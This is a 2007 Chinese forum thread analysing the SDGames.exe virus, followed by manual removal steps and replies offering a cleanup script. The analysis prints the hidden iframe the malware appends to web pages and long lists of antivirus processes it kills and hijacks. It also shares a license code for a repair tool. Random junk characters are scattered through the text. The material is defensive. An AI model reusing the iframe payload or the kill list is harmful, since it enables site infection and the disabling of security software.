警惕恶性病毒SDGames.exe（小瓢虫）

瓢虫, SDGames

作者：清新阳光                                                          ( http://hi.baidu.com/newcenturysun)
日期：2007/12/08                                                       (转载请保留此声明) $ {. |; Y; d7 \1 l- {: B3 s, ?3 W
( {( [: s& a- Y/ s* i8 h; Z
病毒样本来自卡饭，病毒行为恶劣，主要表现为：+ X0 B: o# w* c" D
1.攻击杀毒软件之后进行IFEO映像劫持
2.感染htm等网页文件: _* m$ Q" |4 S$ H; {8 @9 g; n
3.感染或覆盖exe等可执行文件
4.破坏安全模式+ n3 X4 C+ f0 u) o3 C/ r7 a
5.破坏显示隐藏文件文件夹选项等- |1 M! B# Q6 K! o& g
6.修改系统时间并锁定时间
7.可通过U盘等移动存储传播! U  c5 g' s2 K& {# G8 i
8.关闭Windows防火墙等服务并打开许多危险服务，并使得用户磁盘被共享" ]# I) |5 c( ]( s
9.后台添加账户并设定管理员权限
10.修改某些文件关联

下面为具体分析. X) [- @+ v) J7 _4 s# |, p  u
File: SDGames.exe
Size: 59282 bytes, A# u/ L8 \8 C2 u* d; r0 H4 k$ @
File Version: 3.02
Modified: 2007年12月6日, 17:56:32% ^  L. Q. ?5 ]: z( g9 N6 q* V
MD5: FC334FFCF5AFF3CA8235705D61F62990
SHA1: 4DFFE9E9BB666A13CC646EBA4371BDF4AFFB49BC5 }; q; j8 \: y+ `6 ?
CRC32: 1DD096C2
2 i9 c. T* t* @, y# k1 M
1.病毒运行后，释放如下文件或副本; Q. d" f. A  p6 k  _
%systemroot%\system32\SDGames.exe
%systemroot%\system32\Taskeep.vbs2 J" {) F- b; b
%systemroot%\system32\Avpser.cmd
%systemroot%\system32\netshare.cmd
%systemroot%\system32\AUTORUN.INF% {$ |4 l- ~! z
在每个磁盘分区释放SDGames.exe和AUTORUN.INF 达到通过U盘传播的目的  _$ r: n$ W2 B: q% ~8 a2 V; ?8 R
并且在每个分区释放Windows.url，新建文件夹.url，Recycleds.url指向该分区根目录下的SDGames.exe. i, `3 ^! Q+ c0 b  \% u+ H* u
诱使用户点击6 m+ @! F4 k( Z- Z9 e

2.修改reg和txt文件关联指向%systemroot%\system32\SDGames.exe
7 O6 Z) H$ T6 v2 x' O
3.删除HKLM\System\CurrentControlSet\Control\SafeBoot\Minimal\{4D36E967-E325-11CE-BFC1-08002BE10318}' f/ B4 f! T  g
HKLM\System\CurrentControlSet\Control\SafeBoot\Network\{4D36E967-E325-11CE-BFC1-08002BE10318}
HKLM\System\CurrentControlSet\Control\SafeBoot\Minimal\{4D36E967-E325-11CE-BFC1-08002BE10318}8 c- E: d: ^4 D9 C' t% P% a
HKLM\System\CurrentControlSet\Control\SafeBoot\Network\{4D36E967-E325-11CE-BFC1-08002BE10318}3 c6 B9 Q  x8 N5 @: d
破坏安全模式
7 {* T6 {- M# J7 z- d+ v" X
4.创建自启动项目  j8 s; n8 O! c; a! p
[HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows]% T" z( {0 p) o! `( c/ p
<load><%systemroot%\system32\SDGames.exe> [SDGame]  C& J& B! t6 s% c  I$ l) O7 V+ [
<run><%systemroot%\system32\SDGames.exe> [SDGame]8 U7 Z' r, ?' {, C: N: U
[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run]
<Winstary><%systemroot%\system32\SDGames.exe> [SDGame]8 V/ T* A; s3 X

5.破坏系统的一些功能
禁用cmd:HKCU\Software\Policies\Microsoft\Windows\System\DisableCMD: s# V& L9 a; A% t
破坏显示隐藏文件：HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Hidden
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Folder\Hidden\SHOWALL\CheckedValue
使得文件扩展名无法显示：HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\HideFileExt
隐藏控制面板：
HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoControlPanel3 M4 L, t" G) F6 Y6 \$ f
禁用注册表编辑器. ]6 H' G3 r  w) |. o/ ~& f* \8 T
HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistrytools. u- P! A8 r  ]- Y9 F8 R) v
禁用任务管理器
HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableTaskMgr
修改IE主页为：http://www.*.10mb.cn8 Z9 {  E8 z! W  x
修改IE默认页为：wangma
隐藏文件夹选项
HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoFolderOptions
2 y1 B5 N' X, V" H: U2 }
6.关闭如下服务并将其启动类型设为禁用9 A) r4 ?, j/ V( u/ j+ J( `
Alg' Q: \7 X5 u6 X
sharedaccess
wuauserv
; s) V& j) x' Y: l! W
7.开启下列服务并将其启动类型设为自动
Terminal Services1 _4 X: s6 ^8 W( Y4 y9 H
winmgmt
lanmanserver/ k9 I& J+ s- F4 P% ]
$ R; E& e% r! t9 K
8.%systemroot%\system32\netshare.cmd将用户的所有磁盘设为共享

7 H' T, S+ `( X/ v' E. n" l

9.添加一个名为guest的账户，并将其设置为管理员权限
10.攻击反病毒软件，利用Avpser.cmd强制结束一些杀毒软件进程
RavMonD.exe4 T5 R# Z8 t  q7 F6 p; s7 ]
RavStub.exe
Anti*4 C' W3 ~0 S# e6 P0 o; m3 y7 h  }
AgentSvr*; O, h2 m! G* h
CCenter*8 C' \2 O* ]* L  ]( e  T- j" U$ Q
Rsaupd*9 F& j- u- h; X: ?' W, W  Z  Q0 V
SmartUp*& a+ Y( `+ [( P! x! V0 I
FileDsty*% l9 c4 o: f: L$ R
RegClean*- }" G! x8 Y" A( h. p
360tray*$ S& @/ C' _: }
360safe*3 l. A4 p( y5 p& G9 z
kabaload*
safelive*
KASTask*5 J) D* e$ [* ]9 A& j
kpFW32*5 }, d5 r1 i6 b, Y: \& {! U( z$ V* k* }
kpFW32X*
KvXP_1*
KVMonXP_1*
KvReport*: Q* a9 C' E& B  n/ ^5 ^- ~
KvXP*
KVMonXP** b0 C4 R3 |8 F1 b/ u8 B* g" o
nter*
TrojDie*
avp.com3 }: F, h/ @: Z' p; s# t) b
KRepair.COM
Trojan*5 ^; C3 z; W! v3 F+ v7 t* F8 I0 h
KvNative*! U6 ?$ F% c5 U/ H8 V
Virus*. a5 k, ?; j0 e9 {
Filewall*1 M) r5 c: r7 ?+ ]' t. E" h7 u
Kaspersky*
JiangMin*; q1 B* L0 J( `* C7 u! w3 X
RavMonD*! D' `1 Q$ v4 g# q) M1 @
RavStub*
RavTask*/ j( g3 }" m& r; t* d" }$ H
adam*7 c1 z  }2 J2 g7 T) H3 p
cSet*# S( }& d$ J4 t/ M1 d" t
PFWliveUpdate*
mmqczj*! c. c9 w' o! I* r5 p1 n
Trojanwall*" J; C# Z( O5 i& E
Ras.exe
runiep.exe9 h$ W; `) H- Y
avp.exe$ [2 j% P6 W% n; X* X" b6 U
PFW.exe+ u* T4 Z1 M# |) v8 B; S% j
rising*
ikaka*
.duba*
kingsoft*+ {2 X& i  C; o( I& N, m
木马*
社区*( U6 I# g9 [# m$ ^. W
aswBoot*
MainCon*
Regs*7 X" Q7 J$ Z* U6 K1 |
AVP** Z" D6 [% F% G1 r+ T! v
Task*
regedit*
Ras*
srgui*
norton*. g+ \) M, _0 C+ `7 N" X
avp*
fire*
spy*
bullguard*
PersFw*" ~" ]; I4 |' f$ s$ [" P+ C
KAV*
ZONEALARM*
SAFEWEB*
OUTPOST*( g3 \8 c: M' w5 u7 r$ y8 S. c
ESAFE*
clear*
BLACKICE*
360safe.exe
Shadowservice.exe
v3webnt.exe8 P( y, R2 T9 H7 H5 D* P1 C. j9 g8 ]" n
v3sd32.exe
v3monsvc.exe
sysmonnt.exe  ^) P+ J* g# X% t5 q- l
hkcmd.exe
DNTUS26.EXE; ^7 }2 R. K# d3 r8 y" E2 K( C
AhnSD.exe1 U) G5 c: x) F8 R" J
CTFMON.EXE
MonsysNT.exe# B# q) l" X; [/ E( |+ X! U& x( y
awrem32.exe
WINAW32.EXE& l% T9 ~6 ^7 e& L
PNTIOMON.exe
avgw.exe6 c1 s1 H3 ]! P2 I1 S" Z8 n
avgcc32.exe
PROmon.exe# H1 Z* [* E3 p3 g
PNTIOMON.exe
MagicSet.exe
MainCon.exe, H( R2 ?& }& v$ |+ y) }' N
TrCleaner.exe1 s' O9 \. B. J6 R& h, ?
WmNetPro.exe
修复*( ^8 k* m/ u9 t- ~' d0 F$ c  m
保护*) N, ^9 B$ Z1 k+ |: S0 f2 F+ }

11.映像劫持杀毒软件和一些常用工具  K" y7 D7 Z! K8 U5 g7 c5 ]
360rpt.exe
360Safe.exe; z- S4 C8 u; I3 M* ]
360tray.EXE
adam.exe( e0 G" S" i% w0 _* i
AgentSvr.exe, j1 Z# r9 m. s; _: T. W7 E. a2 |+ s4 ^
AppSvc32.exe
autoruns.exe
avgrssvc.exe# ^+ j/ w/ y& d) O  ?1 f2 F
AvMonitor.exe
avp.com
avp.exe9 T* a% B( ^: z2 l. P3 X
CCenter.exe" p1 B, ^$ |- A, @: u  L, A
ccSvcHst.exe
FileDsty.exe  D' J7 y: k5 S  c& p  a
FTCleanerShell.exe
HijackThis.exe; g# T8 X6 \+ d5 @4 z4 g6 B
IceSword.exe4 j7 e% r8 K" D1 {: u' F* |
iparmo.exe
Iparmor.exe
isPwdSvc.exe
kabaload.exe
KaScrScn.SCR
KASMain.exe
KASTask.exe8 E1 }, x# K7 m* y# l9 H
KAV32.exe( s7 c# B3 R/ U+ @' }
KAVDX.exe
KAVPFW.exe
KAVSetup.exe
KAVStart.exe+ M- R1 g4 f8 c& c; x0 }
KISLnchr.exe( I$ W$ i3 z$ q# X* e3 D& ~# Z
KMailMon.exe) b8 r+ G$ D  D# P$ O
KMFilter.exe' b$ \6 ?0 \/ z! I. `
Knod32kui.exe4 @+ |  q# n3 s, b1 l" V
KPFW32.exe
KPFW32X.exe
KPFWSvc.exe$ T1 Y$ L# Y* M  ~. N* W- k
KRegEx.exe
KRepair.COM
KsLoader.exe: V. k' ?+ n$ x2 F+ D& Y
KVCenter.kxp
KvDetect.exe
KvfwMcl.exe
KVMonXP.kxp
KVMonXP_1.kxp. i& `9 \- x2 f# B) {( h
kvol.exe
kvolself.exe) {. e& U+ x5 c- Z% v* p8 A
KvReport.kxp
KVScan.kxp) B5 {. t! c7 {' C: J/ {& t* d( ]
KVSrvXP.exe
KVStub.kxp$ L( y! g7 ^. [- b) c6 Z
kvupload.exe+ Y# z- K+ [( K; `
kvwsc.exe
KvXP.kxp
KvXP_1.kxp! U+ f& J" d' B  H9 |- z- D
KWatch9x.exe
KWatchX.exe2 I' s: y5 F  `4 d. _! W
loaddll.exe5 e" R/ u. n1 f6 X: i
MagicSet.exe
MainCon.exe
mcconsol.exe0 H7 k5 e  N- z0 ]
mmqczj.exe
mmsk.exe/ T8 g' b0 N; @" k! x+ H, k1 C" e% A) d" D
msconfig.exe
NAVSetup.exe
nod32krn.exe0 L* F" t$ W" e2 F9 a
PFW.exe# ?5 H$ F' L% I
PFWLiveUpdate.exe/ r, c; L, [- Y* [+ P
QHSET.exe
QQ.exe. E$ S! m: ~  i; d$ t5 a* h
Ras.exe1 B$ F" d% e+ H
Rav.exe
RavMon.exe; P+ m" }; _2 o9 s/ p7 m5 U
RavMonD.exe) h6 J( v/ g1 t- n
RavStub.exe4 q2 _$ A" u, Z5 T- q. C
RavTask.exe
RegClean.exe
rfwcfg.exe
RfwMain.exe
rfwProxy.exe
rfwsrv.exe; |5 Y! b; g2 E" j4 {2 N) |7 Y1 I
Rsaupd.exe+ _" B, M3 ~( F( m( K; w3 X/ {( C- M
runiep.exe
safelive.exe
scan32.exe) V: R6 M# P7 N! v2 F; u' e
Shadowservice.exe" f5 s$ T7 i, K; z
shcfg32.exe
SmartUp.exe
SREng.exe2 Q) F  G6 F( O% l, f* ~2 p7 ]
srgui.exe
symlcsvc.exe! H+ r0 |3 C$ d  n8 `: r: P# p
SysSafe.exe: N& G7 H5 w: s2 J6 Z5 W: h
TrojanDetector.exe
Trojanwall.exe
TrojDie.kxp
UIHost.exe
UmxAgent.exe
UmxAttachment.exe! F. Y& Y- r" z  x  T8 {9 M7 w6 x! ]
UmxCfg.exe
UmxFwHlp.exe
UmxPol.exe8 p7 l" E! a, w/ p% J* V
UpLive.EXE.exe
WoptiClean.exe
zxsweep.exe

12.遍历感染非系统分区的exe文件（覆盖方式）

  g/ C  \8 G/ _" Z) m

13.遍历感染非系统分区的jsp asp php htm html hta文件$ m) F- @4 m1 D# e
在其末尾加入<iframe id="iframe" width="0" height="0" scrolling="no" frameborder="0" src="http://*.10mb.cn/" name="Myframe"
align="center" border="0">的代码) \  [; @& v0 P
8 ~2 O) U4 D$ ~  ~0 X  T
14.修改系统时间的年份为2030年，并禁止用户修改时间

15.隐藏系统文件夹
0 _9 z3 b4 |$ Q) L# g* r8 T
解决办法：
下载sreng：http://download.kztechs.com/files/sreng2.zip
Icesword：http://mail.ustc.edu.cn/~jfpan/download/IceSword122cn.zip

1.解压缩Icesword
把Icesword改名为1.exe运行; Z- f2 l. [2 E& G$ ?; `) e( }, S
进程中找到SDGames.exe 右击它结束进程
然后点击 Icesword左下角的文件按钮
找到如下文件并删除/ O  p$ {; a' d) T3 x! J
%systemroot%\system32\SDGames.exe
%systemroot%\system32\Taskeep.vbs
%systemroot%\system32\Avpser.cmd; W) w+ q' }. ]4 E; }3 Z  y* e
%systemroot%\system32\netshare.cmd+ A  |! U* A3 \: [& S4 z6 |' u
%systemroot%\system32\AUTORUN.INF
以及各个分区下面的
SDGames.exe,AUTORUN.INF,Windows.url，新建文件夹.url，Recycleds.url& M/ i/ \; P8 S

3 ?8 A3 F: b* C

2.运行sreng
（由于时间已经被改为2030年所以sreng会弹出过期提示，不用担心，输入下面的授权码即可使用）
用户名：teyqiu
授权号：26129027541185431409013556
打开sreng后点击系统修复－文件关联－修复) ^9 a$ l7 l% Y7 P; u, I
系统修复－Windows Shell/IE －全选－修复' [# {4 r/ g1 h) B3 M
高级修复－修复安全模式/ `5 S- u  b/ c( N
% E& x) h7 W( x9 Q2 I
3.还是sreng中/ f6 F2 K; Q, |: O# R, l: v
启动项目注册表删除如下项目
[HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows]6 E& a! K5 V; r- E/ y- ]& `* t7 W
<load><%systemroot%\system32\SDGames.exe> [SDGame]! B5 U* c7 [. j9 H. g$ F
<run><%systemroot%\system32\SDGames.exe> [SDGame]
[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run]  c* o" {3 _" C
<Winstary><%systemroot%\system32\SDGames.exe> [SDGame]5 i" ^: O/ g( T1 N+ @
并删除所有红色的IFEO项目
启动项目 System.ini
删除Windows节点+ o( ?6 E3 J. i4 D8 }

4.取消磁盘共享
开始运行输入cmd 输入如下命令  {2 G9 o$ j" \. v# J) [: {; G' c
net share c /delete2 y+ p8 B0 q, R4 f- L
net share d /delete
...# Q& k) j7 [* l0 n& o3 q0 I1 y
以此类推分别取消所有磁盘分区的共享
7 c2 g+ B! [; y* r( r. H$ T
5.显示系统文件夹- p' I  Q! x. v& F4 y
开始运行输入cmd 输入如下命令' t6 H# K  [3 W
attrib -h %systemroot%\system325 k0 Z( Q3 f! L3 F/ f7 w# {
% _" S) Q/ c: g" f% `6 D
6.修复受感染的htm等网页文件4 U% |1 h8 T1 R. R( {, F
推荐使用CSI的iframkill
下载地址：http://www.vaid.cn/blog/read.php?9

3 评分次数

精品文章，很好 威望 + 1

潇湘剑魔
原创内容 ~ 阳光也有空过来逛逛啊 ^ _ ^ 威望 + 1

johniy
威望 + 1

伤逝

收藏分享评分

回复引用

订阅 TOP

papa

中将(版主)

积分: 722
威望: 1012
元宝: 0
铜钱: 630

最拉风人物

2楼

发表于 2007-12-9 18:51 | 只看该作者

3.15服务月,免费为您修电脑,还有低价促销

虽然还没有见过这个病毒样本，但是看到“清新阳光”的分析确实很是详细。所以估计着就写了一个批处理，以便帮助中此病毒的用户清理病毒主文件以及修复一些系统异常。希望能对一些朋友有所帮助，当然更希望用户提交样本，以便分析与核实处理方法。
' ? ^( k7 r. N+ B6 R0 V) ]6 Y
使用方法如下：

1.解压缩附件的压缩包，看到3个文件:papa.exe、papa.bat、fix.reg。如图所示：
[attach]16073322[/attach]
9 e! ]: X$ s, r4 C& n
2.双击papa.exe后输入call papa.bat后回车运行即可。（注：call后面有空格）如图所示：
[attach]16073323[/attach]: J0 ^. U7 z9 @* w, `9 I/ o9 c
" X; E2 m' U" p1 S& [: r+ m

[ 本帖最后由 papa 于 2007-12-10 09:26 编辑 ]

回复引用

警惕恶性病毒SDGames.exe（小瓢虫）

唉．．．

回复 8# 的帖子

我就重活

那位高手支下招呀......

回复 1楼 的帖子

最近 老是有人攻击我 怎么反击 我是新手

回复 1楼的帖子

最近老是有人攻击我怎么反击我是新手